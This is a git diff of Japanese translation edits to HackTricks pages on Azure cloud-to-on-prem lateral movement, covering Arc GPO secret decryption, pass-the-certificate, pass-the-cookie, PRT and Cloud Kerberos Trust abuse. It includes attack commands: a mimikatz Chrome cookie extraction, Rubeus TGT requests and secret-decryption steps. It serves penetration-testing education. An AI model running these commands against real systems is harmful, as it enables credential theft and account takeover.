**クラウドからオンプレミスにピボットする別の方法は** [**Intune の悪用**](../az-services/intune.md)です。 +- **クラウドからオンプレミスにピボットする別の方法は** [**Intuneを悪用すること**](../az-services/intune.md) #### [Roadtx](https://github.com/dirkjanm/ROADtools) -このツールは、Azure AD にマシンを登録して PRT を取得し、PRT(正当または盗まれた)を使用してさまざまな方法でリソースにアクセスするなど、いくつかのアクションを実行することを可能にします。これらは直接的な攻撃ではありませんが、PRT を使用してさまざまな方法でリソースにアクセスするのを容易にします。詳細は [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) を参照してください。 +このツールは、Azure ADにマシンを登録してPRTを取得し、PRT(正当または盗まれた)を使用してさまざまな方法でリソースにアクセスするなど、いくつかのアクションを実行することを可能にします。これらは直接的な攻撃ではありませんが、PRTを使用してさまざまな方法でリソースにアクセスするのを容易にします。詳細は[https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)を参照してください。 ## 参考文献 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 1c4feaff3..a0ac8ed31 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -1,19 +1,19 @@ -# Az - Arc vulnerable GPO Deploy Script +# Az - Arc 脆弱な GPO デプロイスクリプト {{#include ../../../banners/hacktricks-training.md}} -### 課題の特定 +### 問題の特定 -Azure Arcは、グループポリシーオブジェクトメソッドを使用して新しい内部サーバー(ドメイン参加サーバー)をAzure Arcに統合することを可能にします。これを促進するために、Microsoftはオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zipファイル内には、次のスクリプトが含まれています:DeployGPO.ps1、EnableAzureArc.ps1、およびAzureArcDeployment.psm1。 +Azure Arc は、グループポリシーオブジェクトメソッドを使用して新しい内部サーバー(ドメインに参加したサーバー)を Azure Arc に統合することを可能にします。これを促進するために、Microsoft はオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zip ファイル内には、次のスクリプトが含まれています: DeployGPO.ps1、EnableAzureArc.ps1、および AzureArcDeployment.psm1。 -DeployGPO.ps1スクリプトを実行すると、以下のアクションが実行されます: +DeployGPO.ps1 スクリプトを実行すると、次のアクションが実行されます: -1. ローカルドメイン内にAzure ArcサーバーオンボーディングGPOを作成します。 -2. オンボーディングプロセスのために作成された指定されたネットワーク共有にEnableAzureArc.ps1オンボーディングスクリプトをコピーします。この共有にはWindowsインストーラーパッケージも含まれています。 +1. ローカルドメイン内に Azure Arc サーバーオンボーディング GPO を作成します。 +2. オンボーディングプロセスのために作成された指定されたネットワーク共有に EnableAzureArc.ps1 オンボーディングスクリプトをコピーします。この共有には、Windows インストーラーパッケージも含まれています。 -このスクリプトを実行する際、システム管理者は2つの主要なパラメータを提供する必要があります:**ServicePrincipalId**と**ServicePrincipalClientSecret**。さらに、ドメイン、共有をホストするサーバーのFQDN、および共有名などの他のパラメータも必要です。テナントID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報など、さらなる詳細も必要です。 +このスクリプトを実行する際、システム管理者は **ServicePrincipalId** と **ServicePrincipalClientSecret** の2つの主要なパラメータを提供する必要があります。さらに、ドメイン、共有をホストするサーバーの FQDN、および共有名などの他のパラメータも必要です。テナント ID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報などの詳細も必要です。 -暗号化されたシークレットは、指定された共有のAzureArcDeployディレクトリ内でDPAPI-NG暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecretという名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1スクリプト内に見られ、暗号化は$descriptorと$ServicePrincipalSecretを入力としてProtectBase64を呼び出すことで行われます。descriptorは、ドメインコンピュータおよびドメインコントローラーグループのSIDで構成されており、ServicePrincipalSecretはドメインコントローラーおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。 +暗号化されたシークレットは、指定された共有の AzureArcDeploy ディレクトリ内で DPAPI-NG 暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecret という名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1 スクリプト内に見られ、暗号化は $descriptor と $ServicePrincipalSecret を入力として ProtectBase64 を呼び出すことによって行われます。ディスクリプタは、ドメインコンピュータおよびドメインコントローラグループの SID で構成されており、ServicePrincipalSecret はドメインコントローラおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。 ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -43,7 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` -メモリにコンピュータアカウントのTGTを保存することで、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。 +コンピュータアカウントのTGTがメモリに保存されていることで、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。 ```powershell Import-Module .\AzureArcDeployment.psm1 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index ae153af95..3aca99719 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -1,8 +1,8 @@ -# Az - Local Cloud Credentials +# Az - ローカルクラウド資格情報 {{#include ../../../banners/hacktricks-training.md}} -## ローカルトークンストレージとセキュリティ考慮事項 +## ローカルトークンの保存とセキュリティ考慮事項 ### Azure CLI (コマンドラインインターフェース) @@ -10,14 +10,16 @@ 1. **アクセストークン**: `C:\Users\\.Azure`にある`accessTokens.json`にプレーンテキストで保存されています。 2. **サブスクリプション情報**: 同じディレクトリにある`azureProfile.json`にはサブスクリプションの詳細が含まれています。 -3. **ログファイル**: `.azure`内の`ErrorRecords`フォルダーには、埋め込まれた資格情報を含む実行されたコマンドや、トークンを使用してアクセスされたURLなど、露出した資格情報を含むログが含まれている可能性があります。 +3. **ログファイル**: `.azure`内の`ErrorRecords`フォルダーには、露出した資格情報を含むログが含まれている可能性があります。例えば: +- 資格情報が埋め込まれた実行されたコマンド。 +- トークンを使用してアクセスされたURL、機密情報を明らかにする可能性があります。 ### Azure PowerShell Azure PowerShellもトークンと機密データを保存しており、ローカルでアクセス可能です: 1. **アクセストークン**: `C:\Users\\.Azure`にある`TokenCache.dat`にプレーンテキストで保存されています。 -2. **サービスプリンシパルシークレット**: これらは`AzureRmContext.json`に暗号化されずに保存されています。 +2. **サービスプリンシパルの秘密**: これらは`AzureRmContext.json`に暗号化されずに保存されています。 3. **トークン保存機能**: ユーザーは`Save-AzContext`コマンドを使用してトークンを永続化することができますが、不正アクセスを防ぐために注意して使用する必要があります。 ## 自動ツールでの発見 @@ -27,11 +29,11 @@ Azure PowerShellもトークンと機密データを保存しており、ロー ## セキュリティ推奨事項 -機密データがプレーンテキストで保存されていることを考慮し、これらのファイルとディレクトリを保護することが重要です: +プレーンテキストでの機密データの保存を考慮すると、これらのファイルとディレクトリを保護することが重要です: - これらのファイルへのアクセス権を制限する。 - 不正アクセスや予期しない変更のために、これらのディレクトリを定期的に監視および監査する。 - 可能な限り機密ファイルに対して暗号化を使用する。 -- ユーザーに対して、こうした機密情報の取り扱いに関するリスクとベストプラクティスについて教育する。 +- ユーザーに対して、機密情報の取り扱いに関するリスクとベストプラクティスについて教育する。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index c2262b6bc..cf4743e87 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,13 +4,13 @@ ## Pass the Certificate (Azure) -Azureに参加しているマシンでは、両方のマシンが**NegoEx**認証メカニズムをサポートしている場合、**Azure AD CA**によって発行された証明書を使用して、一方のマシンから他方のマシンに認証することが可能です(対象として必要なユーザー)。 +Azureに参加しているマシンでは、両方のマシンが**NegoEx**認証メカニズムをサポートしている場合、**Azure AD CA**によって発行された証明書を使用して、1台のマシンから別のマシンに認証することが可能です(対象として必要なユーザー)。 超簡略化すると: -- 接続を開始するマシン(クライアント)は、**ユーザーのためにAzure ADから証明書が必要**です。 -- クライアントは、PRTやその他の詳細を含むJSON Web Token(JWT)ヘッダーを作成し、派生キー(セッションキーとセキュリティコンテキストを使用)で署名し、**Azure ADに送信**します。 -- Azure ADは、クライアントのセッションキーとセキュリティコンテキストを使用してJWT署名を検証し、PRTの有効性を確認し、**証明書**で**応答**します。 +- 接続を開始するマシン(クライアント)は、**ユーザーのためにAzure ADから証明書を取得する必要があります**。 +- クライアントは、PRTやその他の詳細を含むJSON Web Token(JWT)ヘッダーを作成し、派生キー(セッションキーとセキュリティコンテキストを使用)を使って署名し、**Azure ADに送信します**。 +- Azure ADは、クライアントのセッションキーとセキュリティコンテキストを使用してJWT署名を検証し、PRTの有効性を確認し、**証明書**で**応答します**。 このシナリオでは、[**Pass the PRT**](pass-the-prt.md)攻撃に必要なすべての情報を取得した後: @@ -20,7 +20,7 @@ Azureに参加しているマシンでは、両方のマシンが**NegoEx**認 - セキュリティコンテキスト - 派生キー -ツール[**PrtToCert**](https://github.com/morRubin/PrtToCert)を使用して、ユーザーのために**P2P証明書**を**要求**することが可能です。 +ツール[**PrtToCert**](https://github.com/morRubin/PrtToCert)を使用して、ユーザーのために**P2P証明書**を**要求する**ことが可能です。 ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` @@ -30,6 +30,6 @@ Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` ## 参考文献 -- Pass the Certificate の仕組みについての詳細は、元の投稿を参照してください [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +- Pass the Certificate の動作についての詳細は、元の投稿を確認してください [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index 9a859291a..750b9463c 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -4,7 +4,7 @@ ## なぜクッキーなのか? -ブラウザの**クッキー**は、**認証とMFAをバイパスする**ための優れたメカニズムです。ユーザーがすでにアプリケーションに認証されているため、セッション**クッキー**を使用して、そのユーザーとして**データにアクセス**することができ、再認証は必要ありません。 +ブラウザの**クッキー**は、**認証とMFAをバイパスする**ための優れたメカニズムです。ユーザーがすでにアプリケーションに認証されているため、セッション**クッキー**を使用して、そのユーザーとして**データにアクセス**することができ、再認証の必要がありません。 **ブラウザのクッキーの場所**は次のリンクで確認できます: @@ -14,13 +14,13 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ## 攻撃 -難しい部分は、これらの**クッキーがユーザーのために暗号化されている**ことです。これはMicrosoft Data Protection API(**DPAPI**)を介して行われます。これは、クッキーが属するユーザーに結びついた暗号化された[キー](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords)を使用して暗号化されています。これに関する詳細情報は次のリンクで確認できます: +難しい部分は、これらの**クッキーがユーザーのために**Microsoft Data Protection API(**DPAPI**)によって**暗号化されている**ことです。これは、クッキーが属するユーザーに関連付けられた暗号化された[キー](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords)を使用して暗号化されています。これに関する詳細情報は次のリンクで確認できます: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords {{#endref}} -Mimikatzを手に入れれば、次のコマンドを使用して**ユーザーのクッキーを抽出**することができます: +Mimikatzを手に持っていると、次のコマンドを使用して**ユーザーのクッキーを抽出**することができます: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index 1bfad8a99..d691dc5c8 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -1,7 +1,7 @@ -# Az - Primary Refresh Token (PRT) +# Az - プライマリリフレッシュトークン (PRT) {{#include ../../../banners/hacktricks-training.md}} -**この投稿をチェックしてください** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) 同様の内容を説明した別の投稿は [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) で見つけることができます。 +**以下の投稿を確認してください** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) ただし、同じ内容を説明した別の投稿は [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) にあります。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index d7dde8e43..4f7919eb5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -2,13 +2,13 @@ {{#include ../../../../banners/hacktricks-training.md}} -**この投稿は** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **の要約です。攻撃に関するさらなる情報はここで確認できます。この技術については** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**でもコメントされています。** +**この投稿は** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **の要約であり、攻撃に関するさらなる情報を確認できます。この技術については** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**でもコメントされています。** ## 基本情報 ### 信頼 -Azure ADとの信頼が確立されると、**ADに読み取り専用ドメインコントローラー(RODC)が作成されます。** **RODCコンピュータアカウント**は**`AzureADKerberos$`**という名前です。また、**`krbtgt_AzureAD`**という名前の二次`krbtgt`アカウントも作成されます。このアカウントには、Azure ADが作成するチケットに使用される**Kerberosキー**が含まれています。 +Azure ADとの信頼が確立されると、**ADに読み取り専用ドメインコントローラー(RODC)が作成されます。** **RODCコンピュータアカウント**は**`AzureADKerberos$`**と名付けられます。また、**`krbtgt_AzureAD`**という名前の二次`krbtgt`アカウントも作成されます。このアカウントには、Azure ADが作成するチケットに使用される**Kerberosキー**が含まれています。 したがって、このアカウントが侵害されると、任意のユーザーを偽装することが可能になるかもしれません... ただし、このアカウントはドメイン管理者、エンタープライズ管理者、管理者などの一般的な特権ADグループのためのチケットを作成することができないため、これは真実ではありません。 @@ -17,26 +17,26 @@ Azure ADとの信頼が確立されると、**ADに読み取り専用ドメイ ### Kerberos TGT -さらに、ユーザーがハイブリッドアイデンティティを使用してWindowsで認証すると、**Azure ADはPRTと共に部分的なKerberosチケットを発行します。** TGTは部分的です。なぜなら、**AzureADはオンプレミスADのユーザーに関する情報が限られているからです**(セキュリティ識別子(SID)や名前など)。\ +さらに、ユーザーがハイブリッドアイデンティティを使用してWindowsで認証すると、**Azure ADはPRTと共に部分的なKerberosチケットを発行します。** TGTは部分的であるため、**AzureADはオンプレミスAD内のユーザーに関する限られた情報**(セキュリティ識別子(SID)や名前など)を持っています。\ Windowsはその後、`krbtgt`サービスのためのサービスチケットを要求することで、この部分的なTGTを完全なTGTに**交換することができます**。 ### NTLM -Kerberos認証をサポートしないサービスがある可能性があるため、**二次`krbtgt`**キーを使用して署名された**部分的TGTを要求することが可能です**。これは、リクエストの**PADATA**部分に**`KERB-KEY-LIST-REQ`**フィールドを含めることで行われ、その後、**応答にNTハッシュを含む**主`krbtgt`キーで署名された完全なTGTを取得します。 +Kerberos認証をサポートしないサービスがある可能性があるため、**二次`krbtgt`**キーを使用して署名された**部分的TGTを要求することが可能です**。これは、リクエストの**PADATA**部分に**`KERB-KEY-LIST-REQ`**フィールドを含めることで行われ、その後、**プライマリ`krbtgt`キーで署名された完全なTGTを取得します**。 -## Cloud Kerberos Trustを悪用してドメイン管理者を取得する +## Cloud Kerberos Trustを悪用してDomain Adminを取得する -AzureADが**部分的TGT**を生成するとき、それはユーザーに関する詳細を使用します。したがって、グローバル管理者が**AzureAD内のユーザーのセキュリティ識別子と名前のデータを変更できる場合**、そのユーザーのTGTを要求すると、**セキュリティ識別子は異なるものになります**。 +AzureADが**部分的TGT**を生成する際には、ユーザーに関する詳細を使用します。したがって、グローバル管理者が**AzureAD内のユーザーのセキュリティ識別子と名前を変更できる場合**、そのユーザーのTGTを要求すると、**セキュリティ識別子は異なるものになります**。 -Microsoft GraphやAzure AD Graphを通じてそれを行うことはできませんが、**API Active Directory Connect**が使用する、同期されたユーザーを作成および更新するためのAPIを使用することが可能です。これにより、グローバル管理者は**任意のハイブリッドユーザーのSAM名とSIDを変更することができ**、その後認証を行うと、変更されたSIDを含む部分的TGTを取得します。 +Microsoft GraphやAzure AD Graphを通じてそれを行うことはできませんが、グローバル管理者が**SAM名とSIDを任意のハイブリッドユーザーに対して変更するために使用できる、同期されたユーザーを作成および更新するためにAPI Active Directory Connectを使用することが可能です**。そして、認証を行うと、変更されたSIDを含む部分的TGTを取得します。 AADInternalsを使用して、[Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a)コマンドレットを介して同期されたユーザーを更新することができることに注意してください。 ### 攻撃の前提条件 -攻撃の成功とドメイン管理者権限の取得は、特定の前提条件を満たすことに依存します: +攻撃の成功とDomain Admin権限の取得は、特定の前提条件を満たすことに依存します: -- 同期APIを介してアカウントを変更する能力が重要です。これは、グローバル管理者の役割を持つか、AD Connect同期アカウントを持つことで達成できます。あるいは、ハイブリッドアイデンティティ管理者の役割でも十分で、AD Connectを管理し、新しい同期アカウントを作成する能力を付与します。 +- 同期APIを介してアカウントを変更する能力が重要です。これは、グローバル管理者の役割を持つか、AD Connect同期アカウントを持つことで達成できます。あるいは、ハイブリッドアイデンティティ管理者の役割でも十分であり、AD Connectを管理し、新しい同期アカウントを作成する能力を付与します。 - **ハイブリッドアカウント**の存在が不可欠です。このアカウントは、被害者アカウントの詳細で変更可能であり、認証のためにアクセス可能である必要があります。 - Active Directory内の**ターゲット被害者アカウント**を特定する必要があります。攻撃はすでに同期された任意のアカウントに対して実行できますが、Azure ADテナントはオンプレミスのセキュリティ識別子を複製していない必要があり、チケットを取得するために未同期のアカウントを変更する必要があります。 - さらに、このアカウントはドメイン管理者に相当する権限を持っている必要がありますが、AzureAD RODCによって無効なTGTが生成されないように、一般的なAD管理者グループのメンバーであってはなりません。 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index a79e1e003..9437e4499 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -2,8 +2,8 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) +**技術を確認するには:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) と [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -このブログ記事では、Azure ADにおける特権昇格の脆弱性について説明しています。これにより、アプリケーション管理者や侵害されたオンプレミス同期アカウントがアプリケーションに資格情報を割り当てることで特権を昇格させることができます。この脆弱性は、Azure ADのアプリケーションおよびサービスプリンシパルの取り扱いに関する「設計上」の動作に起因しており、特にデフォルトのOffice 365アプリケーションに影響を与えます。報告はされていますが、Microsoftは管理者権限の割り当て動作の文書化により、この問題を脆弱性とは見なしていません。この記事では、詳細な技術的洞察を提供し、Azure AD環境におけるサービスプリンシパルの資格情報の定期的なレビューを推奨しています。詳細な情報については、元のブログ記事を訪問してください。 +このブログ記事では、Azure ADにおける特権昇格の脆弱性について説明しており、アプリケーション管理者や侵害されたオンプレミス同期アカウントがアプリケーションに資格情報を割り当てることで特権を昇格させることができます。この脆弱性は、Azure ADのアプリケーションおよびサービスプリンシパルの取り扱いにおける「設計上」の動作に起因しており、特にデフォルトのOffice 365アプリケーションに影響を与えます。報告はされていますが、Microsoftは管理権限の割り当て動作の文書化により、この問題を脆弱性とは見なしていません。この記事では、詳細な技術的洞察を提供し、Azure AD環境におけるサービスプリンシパルの資格情報の定期的なレビューを推奨しています。詳細な情報については、元のブログ記事を訪問してください。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 6cf78870d..c7343556f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## AzureADユーザーをオンプレミスに同期して、オンプレミスからAzureADにエスカレートする +## AzureADユーザーをオンプレミスに同期してオンプレミスからAzureADに昇格する 新しいユーザーを**AzureADからオンプレミスADに同期**するための要件は次のとおりです。 @@ -12,16 +12,16 @@ ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` -AzureADでこのようなユーザーが見つかった場合、**オンプレミスADからアクセスするためには**、**SMTPメールのproxyAddress**を持つ**新しいアカウントを作成する**だけで済みます。 +AzureADでこのようなユーザーが見つかった場合、**オンプレミスADからアクセスするためには**、**SMTPメールのproxyAddress**を持つ**新しいアカウントを作成するだけです**。 自動的に、このユーザーは**AzureADからオンプレミスADユーザーに同期されます**。 > [!CAUTION] -> この攻撃を実行するために**ドメイン管理者は必要ありません**、**新しいユーザーを作成する**権限があれば十分です。 +> この攻撃を実行するためには**Domain Adminは必要ありません**、**新しいユーザーを作成する権限**があれば十分です。 > > また、これは**MFAをバイパスしません**。 > -> さらに、**管理者アカウントのアカウント同期はもはや不可能である**と報告されています。 +> さらに、**管理者アカウントのアカウント同期はもはや不可能であると報告されています**。 ## References diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 471240ecc..d16d98fe7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -4,15 +4,15 @@ ## 基本情報 -[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**フェデレーション**は、**信頼**を確立した**ドメイン**の集合です。信頼のレベルは異なる場合がありますが、通常は**認証**を含み、ほぼ常に**認可**を含みます。典型的なフェデレーションには、**リソースの共有アクセス**のために**信頼**を確立した**複数の組織**が含まれることがあります。 +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation**は、**信頼**を確立した**ドメイン**の集合です。信頼のレベルは異なる場合がありますが、通常は**認証**を含み、ほぼ常に**承認**を含みます。典型的なフェデレーションには、**共有アクセス**のために**信頼**を確立した**複数の組織**が含まれることがあります。 -オンプレミス環境を**Azure AD**と**フェデレート**し、このフェデレーションを認証と認可に使用できます。このサインイン方法は、すべてのユーザーの**認証がオンプレミスで行われる**ことを保証します。この方法により、管理者はより厳格なアクセス制御を実施できます。**AD FS**およびPingFederateとのフェデレーションが利用可能です。 +オンプレミス環境を**Azure AD**と**フェデレート**し、このフェデレーションを認証と承認に使用できます。このサインイン方法は、すべてのユーザーの**認証がオンプレミスで行われる**ことを保証します。この方法により、管理者はより厳格なアクセス制御を実施できます。**AD FS**およびPingFederateとのフェデレーションが利用可能です。
基本的に、フェデレーションでは、すべての**認証**が**オンプレミス**環境で行われ、ユーザーはすべての信頼された環境でSSOを体験します。したがって、ユーザーは**オンプレミスの資格情報**を使用して**クラウド**アプリケーションに**アクセス**できます。 -**セキュリティアサーションマークアップ言語 (SAML)** は、プロバイダー間でのすべての認証および認可の**情報**の**交換**に使用されます。 +**Security Assertion Markup Language (SAML)**は、プロバイダー間でのすべての認証および承認**情報**の**交換**に使用されます。 フェデレーションのセットアップには、3つの当事者が存在します: @@ -20,16 +20,16 @@ - アイデンティティプロバイダー (IdP) - サービスプロバイダー (SP) -(画像は https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps から) +(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
-1. 最初に、ユーザーがアプリケーション (サービスプロバイダーまたはSP、例えばAWSコンソールやvSphere Webクライアント) にアクセスします。このステップは、特定の実装に応じて、クライアントが直接IdP (アイデンティティプロバイダー) に移動することを許可する場合があります。 -2. 次に、SPはユーザー認証のために適切なIdP (例: AD FS、Okta) を特定します。その後、SAML (セキュリティアサーションマークアップ言語) AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。 +1. 最初に、アプリケーション(サービスプロバイダーまたはSP、例えばAWSコンソールやvSphere Webクライアント)にユーザーがアクセスします。このステップは特定の実装に応じてスキップされ、クライアントが直接IdP(アイデンティティプロバイダー)に移動することがあります。 +2. 次に、SPはユーザー認証のために適切なIdP(例:AD FS、Okta)を特定します。その後、SAML(Security Assertion Markup Language)AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。 3. IdPが引き継ぎ、ユーザーを認証します。認証後、IdPによってSAMLResponseが作成され、ユーザーを通じてSPに転送されます。 -4. 最後に、SPはSAMLResponseを評価します。成功裏に検証されれば、IdPとの信頼関係を示し、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。 +4. 最後に、SPはSAMLResponseを評価します。成功裏に検証され、IdPとの信頼関係が示されると、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。 -**SAML認証と一般的な攻撃についてもっと学びたい場合は、次に進んでください:** +**SAML認証と一般的な攻撃についてもっと学びたい場合は、次に進んでください:** {{#ref}} 